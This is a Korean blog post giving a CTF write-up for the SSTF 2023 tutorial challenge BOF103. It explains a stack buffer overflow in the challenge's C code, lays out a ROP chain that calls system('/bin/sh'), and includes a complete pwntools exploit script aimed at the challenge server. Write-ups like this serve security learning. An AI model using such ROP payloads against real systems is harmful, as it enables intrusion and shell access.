이 영역을 누르면 첫 페이지로 이동
SH1R0_0의 기술블로그 블로그의 첫 페이지로 이동

SH1R0_0의 기술블로그

페이지 맨 위로 올라가기

SH1R0_0의 기술블로그

[pwn] Tutorial - BOF103

  • 2024.01.10 20:56
  • 🚩 CTF Writeup/SSTF 2023

1. 문제 설명

ROP is an attack technique which makes BOF vulnerabilities so critical.

 

Find the binary running at: nc bof103.sstf.site 1337.

2. Writeup

바이너리와 코드가 제공되는 튜토리얼 문제이다.

#include <stdio.h>
#include <stdlib.h>

unsigned long long key;

void useme(unsigned long long a, 
		unsigned long long b)
{
	key = a * b;
}

void bofme() {
	char name[16];
	puts("What's your name?");
	printf("Name > ");
	scanf("%s", name);
	printf("Bye, %s.\n", name);
}

int main() {
	system("echo 'Welcome to BOF 103!'");
	bofme();
	return 0;
}

1) 문제 분석

bofme() 함수내에 name[16]으로 선언된 배열이 있고, scanf("%s", name); 로 name에 사용자 입력값을 저장하는 코드에서 길이 검증이 존재하지 않아 버퍼 오버플로우 취약점이 존재한다.

 

BOF102 문제와 비슷하게 system() 함수가 main() 함수에 존재하고, key가 전역 변수로 선언되어 있다.

그런데 key에 값을 입력하기 위해서는 useme() 함수를 사용해야 하지만 이 함수를 사용자가 호출할 수 있는 부분은 존재하지 않는다.

따라서 ROP(Return-Oriented Programming)을 사용하여 적절한 가젯을 삽입하면 쉘을 휙득할 수 있다.

2) 보호기법 확인

3) Exploit

system("/bin/sh")로 쉘을 휙득하기 위해 익스플로잇 시나리오를 세워보자.

 

① bof 취약점을 이용하여 name 버퍼를 다 채우고 useme 함수 호출을 위한 가젯을 삽입한다.

② useme("/bin/sh", 1) 이렇게 함수를 호출하고 전역변수 key에 "/bin/sh" 값이 입력되도록 한다.

③ system 함수의 인자로 "/bin/sh" 를 넣기 위한 가젯을 삽입한다.

④ system("/bin/sh") 함수를 호출하고 쉘을 휙득한다.

 

페이로드 형태 : buf[16] + sfp[8] + pop_rdi + "/bin/sh" + pop_rsi + 1 + useme() 주소 + pop_rdi + key 변수 주소 + system() 주소

 

위 시나리오를 만족하기 위해 필요한 정보는 다음과 같다.

  • useme() 함수 호출을 위한 위해 필요한 가젯
  • useme() 함수 주소
  • key 변수 주소
  • system() 함수 주소
from pwn import *

r = remote('bof103.sstf.site', 1337)

system = 0x4004e0
useme = 0x400626
key = 0x601058
pop_rdi = 0x400723
pop_rsi = 0x4006b8

payload = b"A"*(16 + 8)
payload += p64(pop_rdi)
payload += b"/bin/sh\x00"
payload += p64(pop_rsi)
payload += p64(1)
payload += p64(useme)
payload += p64(pop_rdi)
payload += p64(key)
payload += p64(system)

r.recvuntil("Name > ")
r.sendline(payload)
r.interactive()

 

 

 

'🚩 CTF Writeup > SSTF 2023' 카테고리의 다른 글

[pwn] Tutorial - BOF104  (0) 2024.01.10
[pwn] Tutorial - BOF102  (0) 2024.01.10
[pwn] Tutorial - BOF101  (0) 2024.01.10
[web] Tutorial - SQLi 103  (0) 2024.01.10
[web] Tutorial - SQLi 102  (0) 2024.01.10

댓글

이 글 공유하기

  • 구독하기

    구독하기

  • 카카오톡

    카카오톡

  • 라인

    라인

  • 트위터

    트위터

  • Facebook

    Facebook

  • 카카오스토리

    카카오스토리

  • 밴드

    밴드

  • 네이버 블로그

    네이버 블로그

  • Pocket

    Pocket

  • Evernote

    Evernote

다른 글

  • [pwn] Tutorial - BOF104

    [pwn] Tutorial - BOF104

    2024.01.10
  • [pwn] Tutorial - BOF102

    [pwn] Tutorial - BOF102

    2024.01.10
  • [pwn] Tutorial - BOF101

    [pwn] Tutorial - BOF101

    2024.01.10
  • [web] Tutorial - SQLi 103

    [web] Tutorial - SQLi 103

    2024.01.10
다른 글 더 둘러보기

정보

SH1R0_0의 기술블로그 블로그의 첫 페이지로 이동

SH1R0_0의 기술블로그

  • SH1R0_0의 기술블로그의 첫 페이지로 이동

검색

메뉴

  • 홈
  • 태그
  • 방명록

카테고리

  • 분류 전체보기 (33)
    • 📖 Study (11)
      • Crypto (0)
      • WebHacking (3)
      • Reversing (0)
      • Pwnable (1)
      • Develop & CS (1)
      • Android (4)
      • Etc (2)
    • 🚩 CTF Writeup (14)
      • SSTF 2023 (8)
      • osu!gaming CTF 2024 (2)
      • WxMCTF '24 (4)
      • KalmarCTF 2024 (0)
    • 🎮 Dreamhack Writeup (8)
      • Web (7)
      • Pwnable (1)

최근 글

인기 글

댓글

공지사항

  • 공지 - 박민혁 (SH1R0_0)

아카이브

태그

나의 외부 링크

  • 관리자
  • 글쓰기
  • 공부

정보

SHIR0_0의 SH1R0_0의 기술블로그

SH1R0_0의 기술블로그

SHIR0_0

블로그 구독하기

  • 구독하기
  • RSS 피드

방문자

  • 전체 방문자
  • 오늘
  • 어제

티스토리

  • 티스토리 홈
  • 이 블로그 관리하기
  • 글쓰기
Powered by Tistory / Kakao. Copyright © SHIR0_0.

티스토리툴바